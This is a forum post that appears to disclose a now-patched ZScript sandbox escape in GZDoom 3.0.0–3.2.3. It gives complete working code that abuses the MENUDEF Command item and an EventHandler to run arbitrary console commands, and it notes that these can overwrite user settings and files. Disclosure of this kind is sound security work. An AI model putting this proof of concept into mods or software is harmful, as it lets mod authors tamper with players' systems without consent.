This post serves as disclosure for an exploit that was recently discovered in ZScript.
The exploit affects all versions between 3.0.0 to 3.2.3, but has been patched in 3.2.4.
The Exploit
ZScript has exposed various features to modders, one of these being the underlying code for the classes powering MENUDEF.
However, the exposure of this MENUDEF code has brought some security concerns along with it.
In MENUDEF, you are able to create menu items that will execute a console command when a user selects them, via the "Command" item.
The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.
Normally, you aren't able to make use of DoCommand, as it's private and mostly barred off.
If the item's ZScript class is not "OptionMenuItemSafeCommand", the following checks are made:
- The command will not execute if a menu is not active.
- The command will not execute if the active menu is not an OptionMenu.
- The command will not execute if the Command item does not exist in the active menu (eg, if you created it with new()).
You could create your own menu linked to ZScript and give it a "Command" item. From there you could modify the Command item's action (the console command it executes) and then proceed to open and close the menu to run the command. The entire MENUDEF file looks like this:
Code: Select all
OptionMenu "ConsoleCommandMenu"
{
class "ConsoleCommandMenu"
Command "", ""
}
Code: Select all
version "3.2.0"
class ConsoleCommandMenu : OptionMenu
{
static void Execute(Name command)
{
Menu.SetMenu('ConsoleCommandMenu');
let desc = OptionMenuDescriptor(MenuDescriptor.GetDescriptor('ConsoleCommandMenu'));
let item = OptionMenuItemCommand(desc.mItems[0]);
item.Init("", command);
item.Activate();
Menu.GetCurrentMenu().Close();
}
}
class ConsoleCommand
{
string Command;
int GameTic;
static play void Execute(string command)
{
ConsoleCommandHandler.QueueCommand(command);
}
}
class ConsoleCommandHandler : EventHandler
{
private Array<ConsoleCommand> m_Commands;
static void QueueCommand(string command)
{
let cmd = new("ConsoleCommand");
cmd.Command = command;
cmd.GameTic = gametic;
ConsoleCommandHandler(
EventHandler.Find("ConsoleCommandHandler"))
.m_Commands.Push(cmd);
}
override void WorldTick()
{
for(int i = 0; i < m_Commands.Size(); i++)
{
if (m_Commands[i].GameTic == gametic - 1) continue;
m_Commands[i].Destroy();
m_Commands.Delete(i);
i = -1;
}
}
override void UiTick()
{
for(int i = 0; i < m_Commands.Size(); i++)
{
if (m_Commands[i].GameTic == gametic - 1)
ConsoleCommandMenu.Execute(m_Commands[i].Command);
}
}
}
After the above code has been written, all that's left to do for this to be usable is to hook up the EventHandler in MAPINFO:
Code: Select all
GameInfo
{
AddEventHandlers = "ConsoleCommandHandler"
}
Code: Select all
ConsoleCommand.Execute("echo hi!");
Of course, this brings with it a number of concerns. A very incomplete list of which can be found below:
- A user's settings including bindings, audio volume, player name, colour, etc can all be permanently modified.
- Files on the user's system can be overwritten with the logFile command.
Sample
Attached below is a sample pk3 demonstrating the exploit. Run the sample with a version of GZDoom prior to 3.2.4 and spawn the "Evil" actor to see it in action.